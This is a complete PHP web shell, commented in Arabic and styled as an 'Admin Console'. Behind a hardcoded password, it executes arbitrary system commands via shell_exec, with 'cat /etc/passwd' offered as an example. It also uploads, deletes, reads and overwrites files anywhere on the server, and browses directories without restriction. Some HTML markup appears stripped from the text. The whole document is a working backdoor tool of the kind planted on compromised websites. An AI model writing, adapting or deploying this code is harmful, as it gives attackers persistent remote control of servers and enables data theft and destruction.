// 1. نظام الحماية بكلمة سرsession_start();$password = "frhat"; // غيرها لضمان الأمانif (!isset($_SESSION['logged_in'])) { if (isset($_POST['pass']) && $_POST['pass'] == $password) { $_SESSION['logged_in'] = true; } else { die('

Security Check



'); }}// 2. إعداد المسارات$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();chdir($dir);// 3. تنفيذ أوامر النظام (The Terminal)$cmd_output = "";if (isset($_POST['cmd'])) { $cmd_output = shell_exec($_POST['cmd'] . " 2>&1"); // تنفيذ الأمر ودمج أخطاء النظام للعرض}// 4. منطق العمليات (رفع، حذف، حفظ)if (isset($_FILES['up_file'])) { move_uploaded_file($_FILES['up_file']['tmp_name'], $dir . '/' . $_FILES['up_file']['name']);}if (isset($_GET['del'])) { unlink($dir . '/' . $_GET['del']); header("Location: ?dir=$dir");}if (isset($_POST['save_edit'])) { file_put_contents($_POST['target'], $_POST['content']);}// 5. واجهة العرض (HTML)Admin Consoleecho "<title>Admin Console</title><body style='background:#0a0a0a;color:#00ff00;font-family:monospace;padding:10px;'>";echo "

Path: $dir

<hr>";// --- قسم تنفيذ الأوامر ---echo "

[ Terminal ]

";echo "
<input type='text' name='cmd' style='width:80%;background:#000;color:#0f0;border:1px solid #0f0;' placeholder='e.g. whoami, ls -la, cat /etc/passwd'> <input type='submit' value='Execute' style='background:#0f0;color:#000;'>
";if ($cmd_output) { echo "<pre style='background:#111;padding:10px;border:1px dashed #0f0;color:#00ff00;'>" . htmlspecialchars($cmd_output) . "</pre>";}echo "<hr>";// --- قسم إدارة الملفات ---echo "

[ File Manager ]

";echo "
Upload: <input type='file' name='up_file'><input type='submit' value='Go'>
";echo "<table border='1' width='100%' style='border-collapse:collapse;border-color:#333;'> <tr style='background:#222;'><th>Name</th><th>Size</th><th>Action</th>";foreach (scandir($dir) as $f) { if ($f == "." || $f == "..") continue; $size = is_file($f) ? round(filesize($f)/1024, 2) . " KB" : "[DIR]"; echo "$f$size <a href='?dir=$dir&del=$f' style='color:red'>[Del]</a> | <a href='?dir=$dir&edit=$f' style='color:yellow'>[Edit]</a>";}echo "";// --- نافذة التعديل ---if (isset($_GET['edit'])) { $t = $_GET['edit']; $c = htmlspecialchars(@file_get_contents($t)); echo "<hr>

Editing: $t

<textarea name='content' style='width:100%;height:300px;background:#000;color:#0f0;'>$c</textarea> <input type='hidden' name='target' value='$t'> <input type='submit' name='save_edit' value='Save'>
";}echo "";